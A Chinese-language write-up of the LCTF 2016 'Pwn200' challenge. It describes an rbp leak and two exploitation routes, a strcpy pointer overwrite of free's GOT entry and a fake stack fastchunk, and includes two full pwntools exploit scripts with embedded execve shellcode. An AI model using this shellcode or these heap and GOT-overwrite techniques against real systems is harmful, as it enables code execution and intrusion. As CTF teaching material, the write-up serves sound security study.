lctf_2016
Pwn200
分析题目
本题没有任何的防护,有两个考虑方向,一个是不涉及堆的解法,另外一个是伪造fastchunk,得到一个可控的指针,进行任意地址写。
利用思路1
在输入名字的位置,存在泄露rbp的一个问题,就是在读取不到终止符的情况下,会继续向后输出,所以可以利用这个问题泄露rbp的值。
然后在读取money的位置,存在我们可以利用strcpy的漏洞覆盖local_10的返回值,将free_got的内容修改为shellcode的地址。
注:strcpy函数:strcpy(*dest,*src),是将src的值写入到dest的里面,且返回dest的指针。
在获取money的函数中,输入56个A后的堆栈情况:
我们可以看到,可以通过输出56个字符后继续输入8个字符修改strcpy复制的目标指针,我们可以选择覆盖free_got的位置为shellcode的位置,然后调用free函数实现getshell。
构造shellcode:
1
| shellcode_addr + 任意字符*0x30 + free_got地址
|
exp1
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43
| # Author by: limu # Terminal: i3 # Tools: pwntools # Usage: python3 exp.py [local or remote] [yes or no] ip port
from pwn import * from LibcSearcher import * import sys context.log_level = "debug" context.terminal = ['i3-sensible-terminal', "-e"] context.arch = 'amd64' elf = ELF('./pwn')
if sys.argv[1] == 'l': p = process("./pwn")
elif sys.argv[1] == 'r': p = remote(sys.argv[3], sys.argv[4])
else: print("wrong") sys.exit()
# 启动调试 if sys.argv[2] == 'y': gdb.attach(p, gdbscript='break main') pause()
shellcode = b"\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"
p1 = shellcode.ljust(48,b'a') p.sendafter(b'u?\n',p1) p.recv(0x30) addr = u64(p.recv(6).ljust(8,b'\x00')) print(hex(addr))
p.sendlineafter(b'~~?',b'0') p2 = p64(addr-0x50) + b'a' * 0x30 + p64(elf.got['free'])
p.sendafter(b'money~',p2) p.recv() p.sendline(b'2') p.interactive()
|
利用思路2
通过在栈上构造fake_chunk,覆盖goodbye函数后的return地址(避开原来创建的大小为0x50的chunk)。构造的chunk在栈上的结构:
exp2
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53
| # Author by: limu # Terminal: i3 # Tools: pwntools # Usage: python3 exp.py [local or remote] [yes or no] ip port
from pwn import * from LibcSearcher import * import sys context.log_level = "debug" context.terminal = ['i3-sensible-terminal', "-e"] context.arch = 'amd64' elf = ELF('./pwn')
if sys.argv[1] == 'l': p = process("./pwn")
elif sys.argv[1] == 'r': p = remote(sys.argv[3], sys.argv[4])
else: print("wrong") sys.exit()
# 启动调试 if sys.argv[2] == 'y': gdb.attach(p, gdbscript='break main') pause()
shellcode = b"\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"
p1 = shellcode.ljust(48,b'a')
p.sendafter(b'u?\n',p1) p.recv(0x30) addr = u64(p.recv(6).ljust(8,b'\x00')) print(hex(addr)) fake = addr - 0x90 code1 = addr - 0x50
p.sendlineafter(b'~~?',b'0') p.recv() p.sendline(p64(0) * 5 + p64(0x41) + p64(0) + p64(fake))
p.sendlineafter(b'choice : ',b'2') p.sendlineafter(b'choice : ',b'1')
p.sendlineafter(b'\n',b'48') p3 = b'a' * 0x18 + p64(code1) p3 = p3.ljust(48, b'\x00') p.sendlineafter(b'48\n',p3) p.sendlineafter(b'choice : ',b'3')
p.interactive()
|